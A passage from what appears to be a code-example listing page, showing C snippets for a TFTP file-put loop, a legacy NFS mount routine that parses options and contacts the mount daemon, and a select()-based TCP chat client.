    for (n = 1; n < argc - 1; n++)
    {
        strcpy (cp, tail (argv[n]));
        fd = open (argv[n], O_RDONLY | mode->m_openflags);
        if (fd < 0)
        {
            fprintf (stderr, "tftp: ");
            perror (argv[n]);
            continue;
        }
        if (verbose)
            printf ("putting %s to %s:%s [%s]\n", argv[n], hostname, targ, mode->m_mode);
        peeraddr.sin_port = port;
        tftp_sendfile (fd, targ, mode->m_mode);
    }
}
Exemple #29
0
int nfsmount(const char *spec, const char *node, int *flags,
	     char **orig_opts, char **extra_opts)
{
	char hostdir[1024];
	CLIENT *mclient;
	char *hostname;
	char *dirname;
	char new_opts[1024];
	fhandle root_fhandle;
	struct timeval total_timeout;
	enum clnt_stat clnt_stat;
	static struct nfs_mount_data data;
	char *opts, *opt, *opteq;
	int val;
	struct hostent *hp;
	struct sockaddr_in server_addr;
	int msock, fsock;
	struct timeval pertry_timeout;
	struct fhstatus status;
	char *s;
	int port;
	int bg;
	int soft;
	int intr;
	int posix;
	int nocto;
	int noac;
	int retry;

	msock = fsock = -1;
	mclient = NULL;
	strcpy(hostdir, spec);
	if ((s = (strchr(hostdir, ':')))) {
		hostname = hostdir;
		dirname = s + 1;
		*s = '\0';
	}
	else {
		fprintf(stderr, "mount: "
			"directory to mount not in host:dir format\n");
		goto fail;
	}

	if (hostname[0] >= '0' && hostname[0] <= '9') {
		server_addr.sin_family = AF_INET;
		server_addr.sin_addr.s_addr = inet_addr(hostname);
	}
	else if ((hp = gethostbyname(hostname)) == NULL) {
		fprintf(stderr, "mount: can't get address for %s\n", hostname);
		goto fail;
	}
	else {
		server_addr.sin_family = AF_INET;
		memcpy(&server_addr.sin_addr, hp->h_addr, hp->h_length);
	}

	/* add IP address to mtab options for use when unmounting */

	sprintf(new_opts, "%s%saddr=%s",
		*orig_opts ? *orig_opts : "",
		*orig_opts ? "," : "",
		inet_ntoa(server_addr.sin_addr));
	*orig_opts = strdup(new_opts);

	/* set default options */

	data.rsize	= 0; /* let kernel decide */
	data.wsize	= 0; /* let kernel decide */
	data.timeo	= 7;
	data.retrans	= 3;
	data.acregmin	= 3;
	data.acregmax	= 60;
	data.acdirmin	= 30;
	data.acdirmax	= 60;

	port = 2049;
	bg = 0;
	soft = 0;
	intr = 0;
	posix = 0;
	nocto = 0;
	noac = 0;
	retry = 10000;

	/* parse options */

	if ((opts = *extra_opts)) {
		for (opt = strtok(opts, ","); opt; opt = strtok(NULL, ",")) {
			if ((opteq = strchr(opt, '='))) {
				val = atoi(opteq + 1);	
				*opteq = '\0';
				if (!strcmp(opt, "rsize"))
					data.rsize = val;
				else if (!strcmp(opt, "wsize"))
					data.wsize = val;
				else if (!strcmp(opt, "timeo"))
					data.timeo = val;
				else if (!strcmp(opt, "retrans"))
					data.retrans = val;
				else if (!strcmp(opt, "acregmin"))
					data.acregmin = val;
				else if (!strcmp(opt, "acregmax"))
					data.acregmax = val;
				else if (!strcmp(opt, "acdirmin"))
					data.acdirmin = val;
				else if (!strcmp(opt, "acdirmax"))
					data.acdirmax = val;
				else if (!strcmp(opt, "actimeo")) {
					data.acregmin = val;
					data.acregmax = val;
					data.acdirmin = val;
					data.acdirmax = val;
				}
				else if (!strcmp(opt, "port"))
					port = val;
				else if (!strcmp(opt, "retry"))
					retry = val;
				else {
					printf("unknown nfs mount parameter: "
						"%s=%d\n", opt, val);
					goto fail;
				}
			}
			else {
				val = 1;
				if (!strncmp(opt, "no", 2)) {
					val = 0;
					opt += 2;
				}
				if (!strcmp(opt, "bg")) 
					bg = val;
				else if (!strcmp(opt, "fg")) 
					bg = !val;
				else if (!strcmp(opt, "soft"))
					soft = val;
				else if (!strcmp(opt, "hard"))
					soft = !val;
				else if (!strcmp(opt, "intr"))
					intr = val;
				else if (!strcmp(opt, "posix"))
					posix = val;
				else if (!strcmp(opt, "cto"))
					nocto = !val;
				else if (!strcmp(opt, "ac"))
					noac = !val;
				else {
					printf("unknown nfs mount option: "
						"%s%s\n", val ? "" : "no", opt);
					goto fail;
				}
			}
		}
	}
	data.flags = (soft ? NFS_MOUNT_SOFT : 0)
		| (intr ? NFS_MOUNT_INTR : 0)
		| (posix ? NFS_MOUNT_POSIX : 0)
		| (nocto ? NFS_MOUNT_NOCTO : 0)
		| (noac ? NFS_MOUNT_NOAC : 0);

#if 0
	printf("rsize = %d, wsize = %d, timeo = %d, retrans = %d\n",
		data.rsize, data.wsize, data.timeo, data.retrans);
	printf("acreg (min, max) = (%d, %d), acdir (min, max) = (%d, %d)\n",
		data.acregmin, data.acregmax, data.acdirmin, data.acdirmax);
	printf("port = %d, bg = %d, retry = %d, flags = %.8x\n",
		port, bg, retry, data.flags);
	printf("soft = %d, intr = %d, posix = %d, nocto = %d, noac = %d\n",
		(data.flags & NFS_MOUNT_SOFT) != 0,
		(data.flags & NFS_MOUNT_INTR) != 0,
		(data.flags & NFS_MOUNT_POSIX) != 0,
		(data.flags & NFS_MOUNT_NOCTO) != 0,
		(data.flags & NFS_MOUNT_NOAC) != 0);
	goto fail;
#endif

	/* create mount deamon client */

	pertry_timeout.tv_sec = 3;
	pertry_timeout.tv_usec = 0;
	total_timeout.tv_sec = 20;
	total_timeout.tv_usec = 0;
	server_addr.sin_port = 0;
	msock = RPC_ANYSOCK;
	if ((mclient = clntudp_create(&server_addr, MOUNTPROG, MOUNTVERS,
		pertry_timeout, &msock)) == NULL) {
		clnt_pcreateerror("mount clntudp_create");
		goto fail;
	}
	mclient->cl_auth = authunix_create_default();

	/* try to mount hostname:dirname */

	clnt_stat = clnt_call(mclient, MOUNTPROC_MNT,
		xdr_dirpath, &dirname,
		xdr_fhstatus, &status,
		total_timeout);
	if (clnt_stat != RPC_SUCCESS) {
		clnt_perror(mclient, "rpc mount");
		goto fail;
	}
	if (status.fhs_status != 0) {
		fprintf(stderr,
			"mount: %s:%s failed, reason given by server: %s\n",
			hostname, dirname, nfs_strerror(status.fhs_status));
		goto fail;
	}
	memcpy((char *) &root_fhandle, (char *) status.fhstatus_u.fhs_fhandle,
		sizeof (root_fhandle));

	/* create nfs socket for kernel */

	fsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	if (fsock < 0) {
		perror("nfs socket");
		goto fail;
	}
	if (bindresvport(fsock, 0) < 0) {
		perror("nfs bindresvport");
		goto fail;
	}
	server_addr.sin_port = htons(port);
	if (connect(fsock, (struct sockaddr *) &server_addr,
	    sizeof (server_addr)) < 0) {
		perror("nfs connect");
		goto fail;
	}

	/* prepare data structure for kernel */

	data.version = NFS_MOUNT_VERSION;
	data.fd = fsock;
	memcpy((char *) &data.root, (char *) &root_fhandle,
		sizeof (root_fhandle));
	memcpy((char *) &data.addr, (char *) &server_addr, sizeof(data.addr));
	strncpy(data.hostname, hostname, sizeof(data.hostname));

	*extra_opts = (char *) &data;

	/* clean up */

	auth_destroy(mclient->cl_auth);
	clnt_destroy(mclient);
	close(msock);
	return 0;

	/* abort */

fail:
	if (msock != -1) {
		auth_destroy(mclient->cl_auth);
		clnt_destroy(mclient);
		close(msock);
	}
	if (fsock != -1)
		close(fsock);
	return 1;
}
Exemple #30
0
int main(int argc, char *argv[])
{
    int sockfd, portno, n;

    struct sockaddr_in serv_addr;
    struct hostent *server;

    char buf[256];
    if (argc < 4) {
       fprintf(stderr,"usage %s hostname port\n", argv[0]);
       exit(0);
    }
    portno = atoi(argv[3]);
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    char *name=NULL;
    int namelen =  strlen(argv[1]); 
    name=(char*)malloc(namelen+1);
    memset(name,0,namelen+1);
    memcpy(name,argv[1],namelen);
    name[namelen] = '\0';
    //printf("name here is %s\n",name);
    if (sockfd < 0) 
     {
	error("ERROR opening socket\n");
        exit(0);
     }
    server = gethostbyname(argv[2]);
    if (server == NULL) {
        fprintf(stderr,"ERROR, no such host\n");
        exit(0);
    }
    bzero((char *) &serv_addr, sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
    bcopy((char *)server->h_addr,(char *)&serv_addr.sin_addr.s_addr,server->h_length);
    serv_addr.sin_port = htons(portno);
    if (connect(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr)) < 0) 
     {
        error("ERROR connecting\n");
	exit(0);
     }
     //int i,nbytes,j;
     printf("\n********* Connected to the Server *********** \n"); 
     //if connect successful send JOIN msg to server
     short int typejoin =2; //set msg type as JOIN
     char *buffer=NULL;
     short int attype = 2; //attribute type=2 for username
     n = MakePacket(typejoin,attype,&buffer,name);
     //change the length of the data to be sent  
     //printf("Packet Done \n");
     if (send(sockfd, buffer,n, 0) == -1) perror("error in sending JOIN MSG\n");
     
     fd_set readSet,master_list_read;
     FD_ZERO(&master_list_read);
     FD_SET(STDIN, &master_list_read);//stdin manually trigger reading
     FD_SET(sockfd, &master_list_read);//tcp socket

     struct timeval tv;
     int retval;
     tv.tv_sec = 10;
     tv.tv_usec = 0;
     while(1)
     { 
	   char *buffer=NULL;
	   int n;

	   tv.tv_sec = 10;
	   readSet=master_list_read;
	   retval = select(sockfd+1, &readSet, NULL, NULL,&tv);
	   if (retval == -1) 
	   {
		perror("Error in select\n");
		exit(4);
	   }
	   else if(retval==0)
		{ 
		  if(!idlesend)
		  {
		   buffer=NULL;
		   short int typeidle =9; //set msg type as SEND
		   short int attuname = 2; //attribute type=2 for username
		   sprintf(buf,"%s",name);
		   n =MakePacket(typeidle,attuname,&buffer,name);
		   printf("!! Going Idle !!\n");
		   idlesend=true;
                   if (send(sockfd, buffer,n, 0) == -1) 
			perror("error in sending MSG to server\n");
		       //printf("*********SEND SUCCESSFUL******\n");
		    //free(buffer);
                  }
		}		
		else 
	       	 {	
		    if(FD_ISSET(0, &readSet))
		   {
		    idlesend=false;
		    bzero(buf,256);
		    fgets(buf,256,stdin); 
		    //buf[512]='\0';
		    /*for(i=0;i<5;i++)	
		    printf("byte[%d]: %c \n",i,buf[i]);*/
		    short int typesend =4; //set msg type as SEND
		    short int attmsg = 4; //attribute type=4 for message
		    int n =MakePacket(typesend,attmsg,&buffer,buf);
		    if (send(sockfd, buffer,n, 0) == -1) perror("error in sending MSG to server\n");
		       //printf("*********SEND SUCCESSFUL******\n");
		    //free(buffer);
		  }

		  else  if (FD_ISSET(sockfd, &readSet))  // receives data from server,print it on StdOutput
	 	  {  
		    bzero(buf,256);
		    int nbytes = recv(sockfd, buf, 256,0);
		    if(nbytes<=0)
		     {
		       perror("recv error from server \n");
		       exit(0);
		     }
		    ExtractPacket(buf);
		  }
	
	      } //END OF ELSE 
	    } //end of while
    close(sockfd);          
    return 0;
}